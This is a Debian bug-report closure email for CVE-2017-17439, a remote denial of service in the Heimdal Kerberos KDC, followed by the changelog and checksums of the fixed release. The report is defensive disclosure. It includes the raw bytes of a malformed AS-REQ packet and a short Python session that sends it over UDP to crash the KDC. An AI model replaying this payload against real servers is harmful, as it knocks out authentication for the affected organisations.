Your message dated Fri, 15 Dec 2017 03:05:33 +0000
with message-id <e1epgjz-00075y...@fasolo.debian.org>
and subject line Bug#878144: fixed in heimdal 7.5.0+dfsg-1
has caused the Debian Bug report #878144,
regarding CVE-2017-17439: Remote unauthenticated DoS in Heimdal-KDC 7.1
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
878144: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=878144
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: heimdal-kdc
Version: 7.1.0+dfsg-13+deb9u1 amd64
Severity: important


We are running heimdal-kdc 7.1.0+dfsg-13+deb9u1 amd64 shipped with
Debian stretch for our Domain and have discovered several crashes in the
past few months. Investigation showed that dmesg contained several logs
about segfaults:

[Fr Jun 23 12:07:17 2017] kdc[14596]: segfault at 18 ip 00007f65c02ef5d0
sp 00007ffd1d7f7298 error 4 in libasn1.so.8.0.0[7f65c0268000+a7000]
[Di Jun 27 21:37:26 2017] kdc[10087]: segfault at 18 ip 00007f65c02ef5d0
sp 00007ffd1d7f7298 error 4 in libasn1.so.8.0.0[7f65c0268000+a7000]
[Mo Jul  3 16:18:39 2017] kdc[2656]: segfault at 18 ip 00007fa27ec105d0
sp 00007ffedcb061f8 error 4 in libasn1.so.8.0.0[7fa27eb89000+a7000]
[So Jul  9 08:55:39 2017] kdc[6092]: segfault at 18 ip 00007fa27ec105d0
sp 00007ffedcb061f8 error 4 in libasn1.so.8.0.0[7fa27eb89000+a7000]
[Di Jul 11 13:06:14 2017] kdc[28993]: segfault at 18 ip 00007fb9dccda5d0
sp 00007ffc6e2ee648 error 4 in libasn1.so.8.0.0[7fb9dcc53000+a7000]
[Di Jul 11 23:39:40 2017] kdc[32211]: segfault at 18 ip 00007fb9dccda5d0
sp 00007ffc6e2ee648 error 4 in libasn1.so.8.0.0[7fb9dcc53000+a7000]
[Sa Jul 15 13:20:17 2017] kdc[6902]: segfault at 18 ip 00007fb76d5ef5d0
sp 00007ffc22a84078 error 4 in libasn1.so.8.0.0[7fb76d568000+a7000]
[Fr Jul 21 12:17:37 2017] kdc[9219]: segfault at 18 ip 00007fdfcbf2b5d0
sp 00007ffe9f295128 error 4 in libasn1.so.8.0.0[7fdfcbea4000+a7000]
[So Jul 23 21:10:59 2017] kdc[26977]: segfault at 18 ip 00007fdfcbf2b5d0
sp 00007ffe9f295128 error 4 in libasn1.so.8.0.0[7fdfcbea4000+a7000]
[So Aug  6 12:06:04 2017] kdc[26494]: segfault at 18 ip 00007f342c8d35d0
sp 00007fff8ae39088 error 4 in libasn1.so.8.0.0[7f342c84c000+a7000]
[Di Aug 15 15:21:41 2017] kdc[28412]: segfault at 18 ip 00007f4780b605d0
sp 00007ffd63250328 error 4 in libasn1.so.8.0.0[7f4780ad9000+a7000]
[Mi Aug 16 08:46:13 2017] kdc[5166]: segfault at 18 ip 00007f4780b605d0
sp 00007ffd63250328 error 4 in libasn1.so.8.0.0[7f4780ad9000+a7000]
[Di Aug 29 04:01:58 2017] kdc[5268]: segfault at 18 ip 00007f31fdd065d0
sp 00007ffd8392c748 error 4 in libasn1.so.8.0.0[7f31fdc7f000+a7000]
[Fr Sep  1 16:56:57 2017] kdc[13396]: segfault at 18 ip 00007f31fdd065d0
sp 00007ffd8392c748 error 4 in libasn1.so.8.0.0[7f31fdc7f000+a7000]
[Mo Sep 11 20:10:45 2017] kdc[16093]: segfault at 18 ip 00007f8a096715d0
sp 00007ffd48ba4b28 error 4 in libasn1.so.8.0.0[7f8a095ea000+a7000]
[Di Sep 12 13:46:17 2017] kdc[24683]: segfault at 18 ip 00007f8a096715d0
sp 00007ffd48ba4b28 error 4 in libasn1.so.8.0.0[7f8a095ea000+a7000]

The heimdal-kdc log gave us additional information:

lofar log # zgrep "AS-REQ malformed client name" heimdal-kdc.log*
heimdal-kdc.log:2017-09-11T20:10:46 AS-REQ malformed client name from
IPv4:80.82.77.139
heimdal-kdc.log:2017-09-12T13:46:18 AS-REQ malformed client name from
IPv4:185.100.87.246
heimdal-kdc.log.2.gz:2017-08-29T04:01:59 AS-REQ malformed client name
from IPv4:71.6.135.131
heimdal-kdc.log.2.gz:2017-09-01T16:56:58 AS-REQ malformed client name
from IPv4:34.208.25.133
heimdal-kdc.log.4.gz:2017-08-15T15:21:41 AS-REQ malformed client name
from IPv4:96.126.127.61
heimdal-kdc.log.4.gz:2017-08-16T08:46:13 AS-REQ malformed client name
from IPv4:71.6.158.166
heimdal-kdc.log.5.gz:2017-08-06T12:06:05 AS-REQ malformed client name
from IPv4:71.6.167.142

The KDC was directly reachable over the Internet - those IPs do not
belong to us but seemed to send packets crashing our master or our slave
(we observed the same there).
While waiting to capture one of those packets and reproduce the issues,
my colleague Thomas Kittel located the part of the code responsible for
the crash:

  * RIP in libasn1.so.0 (relativ) 0x875d0.
  * "der_length_visible_string@@HEIMDAL_ASN1_1.0"
  ____________________________
   875d0:       48 8b 3f                mov    rdi,QWORD PTR [rdi]
   875d3:       e9 e8 83 f9 ff          jmp    1f9c0 <strlen@plt>
   875d8:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
   875df:       00
  ____________________________

  * Source:
https://github.com/heimdal/heimdal/blob/master/lib/asn1/der_length.c
  size_t
  der_length_visible_string (const heim_visible_string *data)
  {
      return strlen(*data);
  }

As quickfix, he supposed to include a NULL check (which we did not test
yet): if(!data) return 0;

We managed to get our hands on one of the payloads (c.f. attachments).
It seems to be a syntactically valid Kerberos message (see decoded_der.txt)
with nonsense values but nothing obviously looking like attempts to
inject shellcode or abuse any vulnerability.
I attached the raw bytes of the complete packet as well as the raw bytes
of the Kerberos message only. Replaying the payload lead to reproducible
crashes (steps to reproduce attached) and since we see these packets at
least since June (symptoms for over a year) there seem to be people
making use of this in the wild.

We do currently not know if the packets are only DoS attempts or if the
crashes are only side effects of more severe attacks like leaks or code
execution. We enabled the firewall to drop Kerberos packets coming from
the Internet, but there may be others suffering from these attacks.

We believe that this is a upstream bug. I tried to contact the
developers via PGP-encrypted mail but they did not react.

If there are any open questions, please do not hesitate to contact us!

Best regards,
Michael Eder


from pyasn1.codec.der.decoder import decode as der_decode
with open("/tmp/krb_crash_only_krb_packet.bin", "rb") as f:
     derdata=f.read()
data = der_decode(derdata)[0]
print data

Sequence(
    componentType=NamedTypes(),
    tagSet=TagSet(
        (),
        Tag(tagClass=0, tagFormat=32, tagId=16),
        Tag(tagClass=64, tagFormat=32, tagId=10)
    )
).setComponents(
    Integer(
        5,
        tagSet=TagSet(
            (),
            Tag(tagClass=0, tagFormat=0, tagId=2),
            Tag(tagClass=128, tagFormat=32, tagId=1)
        )
    ),
    Integer(
        10,
        tagSet=TagSet(
            (),
            Tag(tagClass=0, tagFormat=0, tagId=2),
            Tag(tagClass=128, tagFormat=32, tagId=2)
        )
    ),
    Sequence(
        componentType=NamedTypes(),
        tagSet=TagSet(
            (),
            Tag(tagClass=0, tagFormat=32, tagId=16),
            Tag(tagClass=128, tagFormat=32, tagId=4)
        )
    ).setComponents(
        BitString(
            "'01010000100000000000000000010000'B",
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=3),
                Tag(tagClass=128, tagFormat=32, tagId=0)
            )
        ),
        GeneralString(
            'NM',
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=27),
                Tag(tagClass=128, tagFormat=32, tagId=2)
            )
        ),
        Sequence(
            componentType=NamedTypes(),
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=32, tagId=16),
                Tag(tagClass=128, tagFormat=32, tagId=3)
            )
        ).setComponents(
            Integer(
                0,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2),
                    Tag(tagClass=128, tagFormat=32, tagId=0)
                )
            ),
            Sequence(
                componentType=NamedTypes(),
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=32, tagId=16),
                    Tag(tagClass=128, tagFormat=32, tagId=1)
                )
            ).setComponents(
                GeneralString(
                    'krbtgt',
                    tagSet=TagSet(
                        (),
                        Tag(tagClass=0, tagFormat=0, tagId=27)
                    )
                ),
                GeneralString(
                    'NM',
                    tagSet=TagSet(
                        (),
                        Tag(tagClass=0, tagFormat=0, tagId=27)
                    )
                )
            )
        ),
        GeneralizedTime(
            '19700101000000Z',
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=24),
                Tag(tagClass=128, tagFormat=32, tagId=5)
            )
        ),
        Integer(
            522107353,
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=2),
                Tag(tagClass=128, tagFormat=32, tagId=7)
            )
        ),
        Sequence(
            componentType=NamedTypes(),
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=32, tagId=16),
                Tag(tagClass=128, tagFormat=32, tagId=8)
            )
        ).setComponents(
            Integer(
                18,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                17,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                16,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                23,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                1,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                3,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                2,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            )
        )
    )
)

Attachment: krb_crash.bin
Description: Binary data

Attachment: krb_crash_only_krb_packet.bin
Description: Binary data

In [1]: import socket

In [2]: UDP_HOST = "lofar.fs.tum.de"

In [3]: UDP_PORT = 88

In [4]: with open("krb_crash_only_krb_packet.bin", "rb") as crashfile:
   ...:     PAYLOAD = crashfile.read()
   ...:

In [5]: print(PAYLOAD)
b'j\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa4\x81^0\\\xa0\x07\x03\x05\x00P\x80\x00\x10\xa2\x04\x1b\x02NM\xa3\x170\x15\xa0\x03\x02\x01\x00\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xa5\x11\x18\x0f19700101000000Z\xa7\x06\x02\x04\x1f\x1e\xb9\xd9\xa8\x170\x15\x02\x01\x12\x02\x01\x11\x02\x01\x10\x02\x01\x17\x02\x01\x01\x02\x01\x03\x02\x01\x02'

In [6]: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

In [7]: s.sendto(PAYLOAD, (UDP_HOST, UDP_PORT))
Out[7]: 113


/var/log/heimdal-kdc.log:2017-09-19T20:15:15 AS-REQ malformed client name from 
IPv4:<myIP>

Attachment: signature.asc
Description: OpenPGP digital signature


--- End Message ---
--- Begin Message ---
Source: heimdal
Source-Version: 7.5.0+dfsg-1

We believe that the bug you reported is fixed in the latest version of
heimdal, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 878...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Dominik George <n...@naturalnet.de> (supplier of updated heimdal package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Format: 1.8
Date: Fri, 15 Dec 2017 01:13:04 +0100
Source: heimdal
Binary: heimdal-docs heimdal-kdc heimdal-multidev heimdal-dev heimdal-clients 
heimdal-kcm heimdal-servers libheimbase1-heimdal libasn1-8-heimdal 
libkrb5-26-heimdal libhdb9-heimdal libkadm5srv8-heimdal libkadm5clnt7-heimdal 
libgssapi3-heimdal libkafs0-heimdal libroken18-heimdal libotp0-heimdal 
libsl0-heimdal libkdc2-heimdal libhx509-5-heimdal libheimntlm0-heimdal 
libwind0-heimdal libhcrypto4-heimdal
Architecture: source amd64 all
Version: 7.5.0+dfsg-1
Distribution: unstable
Urgency: high
Maintainer: Brian May <b...@debian.org>
Changed-By: Dominik George <n...@naturalnet.de>
Description:
 heimdal-clients - Heimdal Kerberos - clients
 heimdal-dev - Heimdal Kerberos - development files
 heimdal-docs - Heimdal Kerberos - documentation
 heimdal-kcm - Heimdal Kerberos - KCM daemon
 heimdal-kdc - Heimdal Kerberos - key distribution center (KDC)
 heimdal-multidev - Heimdal Kerberos - Multi-implementation Development
 heimdal-servers - Heimdal Kerberos - server programs
 libasn1-8-heimdal - Heimdal Kerberos - ASN.1 library
 libgssapi3-heimdal - Heimdal Kerberos - GSSAPI support library
 libhcrypto4-heimdal - Heimdal Kerberos - crypto library
 libhdb9-heimdal - Heimdal Kerberos - kadmin server library
 libheimbase1-heimdal - Heimdal Kerberos - Base library
 libheimntlm0-heimdal - Heimdal Kerberos - NTLM support library
 libhx509-5-heimdal - Heimdal Kerberos - X509 support library
 libkadm5clnt7-heimdal - Heimdal Kerberos - kadmin client library
 libkadm5srv8-heimdal - Libraries for Heimdal Kerberos
 libkafs0-heimdal - Heimdal Kerberos - KAFS support library
 libkdc2-heimdal - Heimdal Kerberos - KDC support library
 libkrb5-26-heimdal - Heimdal Kerberos - libraries
 libotp0-heimdal - Heimdal Kerberos - OTP support library
 libroken18-heimdal - Heimdal Kerberos - roken support library
 libsl0-heimdal - Heimdal Kerberos - SL support library
 libwind0-heimdal - Heimdal Kerberos - stringprep implementation
Closes: 850723 868157 878144
Changes:
 heimdal (7.5.0+dfsg-1) unstable; urgency=high
 .
   * New upstream version. (Closes: #850723)
     + CVE-2017-17439: Remote unauthenticated DoS in Heimdal-KDC 7.4
       (Closes: #878144, #868157)
     + Refresh patches.
   * Bump Standards-Version to 4.1.2 and compat level to 10.
     + Remove explicit reference to dh-autoreconf.
   * Use uscan to get orig source.
     + Refrain from mangling some bundled RFC texts;
       just exclude the mas they are not installed into any binary anyway.
     + Update d/copyright to DEP-5.
     + Can now use standard uscan/gbp/pristine-tar workflow.
   * Fix some lintian errors/warnings.
     + Strip trailing whitespace from changelog.
     + Fix some duplicate long descriptions.
     + Use optional priority everywhere.
     + Update/remove some overrides.
     + Enforce set -e in maintainer scripts.
     + Enable hardening.
   * Migrate to -dbgsym.
   * Add myself to uploaders.
Checksums-Sha1:
 2cebb3987b936bcef04fc112ac46b2ced1f07a0d 3674 heimdal_7.5.0+dfsg-1.dsc
 1ba39f71a5627a23afbc8b987362831bed764f7d 8955005 heimdal_7.5.0+dfsg.orig.tar.gz
 c7ca4e66f33aae8e217f1f6a6c30e3b5d153f672 125776 
heimdal_7.5.0+dfsg-1.debian.tar.xz
 6d0e1a99ff4610efee38980fe33fe67880a8cb16 543424 
heimdal-clients-dbgsym_7.5.0+dfsg-1_amd64.deb
 ed6aa9f6744a3704dc9be4c6a82caea636297706 182960 
heimdal-clients_7.5.0+dfsg-1_amd64.deb
 927e921e74580f522fea17780ad49a6aa1c69670 140784 
heimdal-dev_7.5.0+dfsg-1_amd64.deb
 0d7a29f92753d4e7ad02ef404ff19ebc55d85104 106584 
heimdal-docs_7.5.0+dfsg-1_all.deb
 a6fbf8cb1d7dae4b171f8a47a78886359b0e4170 101660 
heimdal-kcm-dbgsym_7.5.0+dfsg-1_amd64.deb
 c6845991006f6fcafad413d7ee0ace217a6d868f 55316 
heimdal-kcm_7.5.0+dfsg-1_amd64.deb
 22090a3d011d31a605a5b0c1458c0d9b311fba15 395240 
heimdal-kdc-dbgsym_7.5.0+dfsg-1_amd64.deb
 a3e53d022eba13e5402ee526fcd89cda10178727 130100 
heimdal-kdc_7.5.0+dfsg-1_amd64.deb
 67c96a3febfd3dd32cd967da97fb1ac8eb13c66d 160420 
heimdal-multidev-dbgsym_7.5.0+dfsg-1_amd64.deb
 a8ef23f3b89828f66eda2fc4993f12449a243fcb 1173320 
heimdal-multidev_7.5.0+dfsg-1_amd64.deb
 79d146cb498c479ad14fa27ab051d28429f981a0 16568 
heimdal-servers-dbgsym_7.5.0+dfsg-1_amd64.deb
 191debce9285269821d0f739eceac9c0de6da746 35384 
heimdal-servers_7.5.0+dfsg-1_amd64.deb
 0894990213b0ec7f32ba90d470e12374ad6ff903 20606 
heimdal_7.5.0+dfsg-1_amd64.buildinfo
 5b36d98ac8a10ceb6233bd63dedf91417717bd7b 608316 
libasn1-8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 895bd1bd53a38ff3f4582c24872cfa800dd83456 205340 
libasn1-8-heimdal_7.5.0+dfsg-1_amd64.deb
 add77d66d53594f48bf60b7655fed02cca99edf9 650480 
libgssapi3-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 0b8420bbbfb318532615b03d86d78876bd0e11fb 122344 
libgssapi3-heimdal_7.5.0+dfsg-1_amd64.deb
 030332164de77b7816f9545f994ce085e894d32f 228944 
libhcrypto4-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 5e0b2e5131b01ae12ae7b6fdb93aea5fcc43915c 112536 
libhcrypto4-heimdal_7.5.0+dfsg-1_amd64.deb
 2b9c259abb2a4d63a1f7dd3c35f9ad40c13279d9 256956 
libhdb9-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 e39e297380220df00604a5f9d4395e11354a4ec0 90228 
libhdb9-heimdal_7.5.0+dfsg-1_amd64.deb
 cb9b90e9cd087753a8f592720770f9fd165116e5 75020 
libheimbase1-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 805711bf8a8d3d23598051cfc415ce7e9d3bc3f6 53836 
libheimbase1-heimdal_7.5.0+dfsg-1_amd64.deb
 0fe0d90b8b8e5bc237aca84a4a2362d05db26164 30572 
libheimntlm0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 d8069b1e2a6cbc5a772f6b9bb3a74782bbf992c0 40492 
libheimntlm0-heimdal_7.5.0+dfsg-1_amd64.deb
 d0c0408be2b56444e082145113534e97e6c0606f 396880 
libhx509-5-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 8030303d6123b670475712d04d3110699984b47f 134220 
libhx509-5-heimdal_7.5.0+dfsg-1_amd64.deb
 112d7d1de3b4da7cf9a87be34f050f8b972b4358 80244 
libkadm5clnt7-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 58f34ca50e25f6753bc8df8589ceb6fd695cbbf5 44160 
libkadm5clnt7-heimdal_7.5.0+dfsg-1_amd64.deb
 79cf59b7dcf0288983e677da4df8fb9e7bf64c53 174016 
libkadm5srv8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 53298a7b7967e1eb2da0a7736ce2a3f44bf0a40d 60504 
libkadm5srv8-heimdal_7.5.0+dfsg-1_amd64.deb
 b3e9cf73c8aae91f2f78981ee1f86ebd658fee5c 46824 
libkafs0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 959cf25451e39d6766359fc0e02d1c524f01b5b2 41292 
libkafs0-heimdal_7.5.0+dfsg-1_amd64.deb
 7787d669fa571b2ad66d1ce59b171b8bff5b868a 237056 
libkdc2-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 cc3d643d58e08ace75967b02439a617809526d4a 81524 
libkdc2-heimdal_7.5.0+dfsg-1_amd64.deb
 3f821b5d04e89749b4fb84053c31441b2a4f3c77 1139168 
libkrb5-26-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 50e7c030ff09cef147248db0bbc41531f280bcf6 234040 
libkrb5-26-heimdal_7.5.0+dfsg-1_amd64.deb
 2c2ab1a1ccfd98e70d1d85ad6538c1870f050027 65764 
libotp0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 0a650f2bdbb9bd45ee167180703f9f4737640d9f 55444 
libotp0-heimdal_7.5.0+dfsg-1_amd64.deb
 cf2af553afff7dcce3f53c3368c3597b232ab169 129756 
libroken18-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 a9f126b08ed15f445759af5441fcb668935e5000 66076 
libroken18-heimdal_7.5.0+dfsg-1_amd64.deb
 7793bf55ffb61d14a4f8b31466409f5d27d2ac0d 22948 
libsl0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 2c920cea3fcb4f75f543604cfb2f7fb034abfaf7 37188 
libsl0-heimdal_7.5.0+dfsg-1_amd64.deb
 d6d8b9b13fe016422bdd363286ee0492fda84c73 26944 
libwind0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 9102ebf7c770388083e37795a349d1110440dee7 73992 
libwind0-heimdal_7.5.0+dfsg-1_amd64.deb
Checksums-Sha256:
 98ce6bf21ac01400ec10a3620fe3c047da4cf63269f521ba96c59bbcaed822bf 3674 
heimdal_7.5.0+dfsg-1.dsc
 489119b7a1a900b88163765654dc59cba9a321b078fafc76629e2b85ef140867 8955005 
heimdal_7.5.0+dfsg.orig.tar.gz
 7ad6c3f3968989ff06181409e1515a3feaf5a630d27ade7f2f018c9241f8c225 125776 
heimdal_7.5.0+dfsg-1.debian.tar.xz
 eb68a9bef68b0e874f576971b251b6096263a5772f3a6526e2cd8e1d82a9bf2d 543424 
heimdal-clients-dbgsym_7.5.0+dfsg-1_amd64.deb
 14fe3a54a3a013488d93cd8666e605c1aac3d8879344467ec68c56af75a80f71 182960 
heimdal-clients_7.5.0+dfsg-1_amd64.deb
 97677be226e6bb7c71d24082e99a5354b3c3413f67147f5d953e1365948887f5 140784 
heimdal-dev_7.5.0+dfsg-1_amd64.deb
 50bee2c6ee0a84d1e504bf27e9898d11ee3b161c15b03215f415a63db97dab80 106584 
heimdal-docs_7.5.0+dfsg-1_all.deb
 bbaa3ec06ebd3939d1cd342afaceea4033cd8d8bbd38e8288d20d4714fa649b0 101660 
heimdal-kcm-dbgsym_7.5.0+dfsg-1_amd64.deb
 c0cb7795991461f8cd9bb465b2e6e6bf79013a1965f61425692b1a665abea748 55316 
heimdal-kcm_7.5.0+dfsg-1_amd64.deb
 7af743e56803e74576915a5283798c0f7ef048c787e791f24d464c99b0f13e43 395240 
heimdal-kdc-dbgsym_7.5.0+dfsg-1_amd64.deb
 d6d90b400000b54bcdfb32f6912e8812b47ed52a1d49d91436d886b0088e6f87 130100 
heimdal-kdc_7.5.0+dfsg-1_amd64.deb
 3665fde42c06a712225831c1e7609dad243655eba5a5a1f1f354a8bc695c8ef2 160420 
heimdal-multidev-dbgsym_7.5.0+dfsg-1_amd64.deb
 77738bf0da5bfc032999fef7ad9aa6f312220e9ae04d08b5214fcb529c8b4f73 1173320 
heimdal-multidev_7.5.0+dfsg-1_amd64.deb
 ea4dbffbf497594b7e2fa5836dca6592a71a335c095a2e5d5d377da8bde45af2 16568 
heimdal-servers-dbgsym_7.5.0+dfsg-1_amd64.deb
 d21ca4337160c8db15fcf753a82e9fcc1a59a794c4bee5555eda85b5219017c5 35384 
heimdal-servers_7.5.0+dfsg-1_amd64.deb
 87536f256e7da258cbb3f9768e452106520dccafeee39c07a17e0d9150f01467 20606 
heimdal_7.5.0+dfsg-1_amd64.buildinfo
 4ca779e5211ba59b30770ac783b6372c823f9bd0d409f8125b51f82aafdfbc83 608316 
libasn1-8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 0dfdbf724d163663f5520f794d6363ee437fd47d1a4606dffa90a9843186bf8f 205340 
libasn1-8-heimdal_7.5.0+dfsg-1_amd64.deb
 2b73df857e504e654f9cc64fe7fc1e595ef56c787d7aa0f7886a87fb33b5978b 650480 
libgssapi3-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 4e1f482a383f7549571c6afc7dbd203da457ae55ec3f7b19bab469d0e271f6e9 122344 
libgssapi3-heimdal_7.5.0+dfsg-1_amd64.deb
 e0055e369717bd376e17a505b52af1b7437b74a598f56fe11da846298468742e 228944 
libhcrypto4-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 5da5023759a3b96163d7c98925e17c1ba19f85081a4b9ce2240b5137fcdeada5 112536 
libhcrypto4-heimdal_7.5.0+dfsg-1_amd64.deb
 49f2bc4dccba85c1d1c98f663dc7a625683b89f0eaf4c28f581a66c984194814 256956 
libhdb9-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 1781f17abe94bc8f24f47f99b137a8bdeda4641ed118610b577ba5f0b96ce4d4 90228 
libhdb9-heimdal_7.5.0+dfsg-1_amd64.deb
 a710d8cf135312a556962452721b14fa68e6957b5456110c25e502345237e01f 75020 
libheimbase1-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 0ce743cb4b2388a12f5143e71bf346f80fcedd34eb612373cd720feec15dc26a 53836 
libheimbase1-heimdal_7.5.0+dfsg-1_amd64.deb
 9a8c6985e9fecc558f2a19818f7bd7b24cdb119730c15869ab0f14a9acbc6251 30572 
libheimntlm0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 e320e089b4946cfd91fcccc111b9148f1c7eb4eea5443f4896a8cc7e61ae9172 40492 
libheimntlm0-heimdal_7.5.0+dfsg-1_amd64.deb
 ac7afe0fa07fe5b71f30b6422e87ea8f087585189e73c398447796c750d9ed4d 396880 
libhx509-5-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 285e21edbe268fcc90c02303f5d64c1b91a074268847949efa31f50830402b30 134220 
libhx509-5-heimdal_7.5.0+dfsg-1_amd64.deb
 3580855e22df074520823d04d21db9070f09246ae3fff2debd8916343acfeb92 80244 
libkadm5clnt7-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 0f7b17db91c45e50650f2a38685041ade06f214feef15ff49593c36d9f77fca3 44160 
libkadm5clnt7-heimdal_7.5.0+dfsg-1_amd64.deb
 dff422b18004001c0096f05b0a4c93150af1c4d1554e0be99bf0354cf4ab18b3 174016 
libkadm5srv8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 8da093a2e0319706c720d74a89ab6a6629ca7508a01d64fb536db28673486ae1 60504 
libkadm5srv8-heimdal_7.5.0+dfsg-1_amd64.deb
 546473af3a4a33c1bc74e6608a7cdcca818b167ec54043b7c55f84a99bc212f3 46824 
libkafs0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 965094f90a33186d0232c8d1647d0f1b076e4aaca2d6085eb2525f9d6e9c1470 41292 
libkafs0-heimdal_7.5.0+dfsg-1_amd64.deb
 541a6c0987c4d89c63b08063c0370517ce0b535857a0de96aaf72584738aa59c 237056 
libkdc2-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 7eb1dd5e56b3e51b9d8fbc9560dc58eb4541d8e06fff7c446883a7429fb0e13c 81524 
libkdc2-heimdal_7.5.0+dfsg-1_amd64.deb
 bde4e8ece4d98cfa7dd1c14b2fd07a333c16f234a3c12ddffa7ba870ef464b9d 1139168 
libkrb5-26-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 bda3a1f72210722e7166105137150c5046caaf526e635e5ba3d9a16ba27a1fc2 234040 
libkrb5-26-heimdal_7.5.0+dfsg-1_amd64.deb
 cfbed9dda4a930555ea6381bab0b2c0bbdc6165e97088f0c51527206b602cbaa 65764 
libotp0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 6559c76c6f87ca72dafc069a4e84f0179f9405fb436c41f29f23ee3c46b2025d 55444 
libotp0-heimdal_7.5.0+dfsg-1_amd64.deb
 01e783c91f62f62fa83c873af2edd9c033764daad6b74e36446dd047e5ab6977 129756 
libroken18-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 62797ccb86fc5bd572d840b743c208080eae0c4088e1fcc120a2667591f20d01 66076 
libroken18-heimdal_7.5.0+dfsg-1_amd64.deb
 4a58652d82e1c31377c67faa9d3da37990add97462452da368d78dd1c431370e 22948 
libsl0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 353ad1afaf5328158e5cf521ecac54c80f4f97e7624c8fea659f5d77d31acf29 37188 
libsl0-heimdal_7.5.0+dfsg-1_amd64.deb
 df5be2827ad43335f36e348967b07839b7ffa7276d55661e326148db6e7d01d5 26944 
libwind0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 b71f69567c343ba55e9c17a3ac2df8b39c1a62b2dbe3c3b7adfe6a20e0a9e341 73992 
libwind0-heimdal_7.5.0+dfsg-1_amd64.deb
Files:
 1e7f08d6d923a4fc853606185418b921 3674 net optional heimdal_7.5.0+dfsg-1.dsc
 b45b9d03cdd4f3288e79feba99e13a51 8955005 net optional 
heimdal_7.5.0+dfsg.orig.tar.gz
 ce5fbebc2e23fca3f6ea2fd2a47e3714 125776 net optional 
heimdal_7.5.0+dfsg-1.debian.tar.xz
 eedf21d0a98aa0f0eca99505edfcb961 543424 debug optional 
heimdal-clients-dbgsym_7.5.0+dfsg-1_amd64.deb
 b412c647cf740a8daf73e900b7dd56fd 182960 net optional 
heimdal-clients_7.5.0+dfsg-1_amd64.deb
 3135a1e02250d850924496e34f5c725c 140784 devel optional 
heimdal-dev_7.5.0+dfsg-1_amd64.deb
 92b7787b0e4e3d01ae7291464c29b42d 106584 doc optional 
heimdal-docs_7.5.0+dfsg-1_all.deb
 bfaef794c145c2912a37ba5846b1ce04 101660 debug optional 
heimdal-kcm-dbgsym_7.5.0+dfsg-1_amd64.deb
 d9e3fc1cd3cb3b9be5804793f2c5c1ab 55316 net optional 
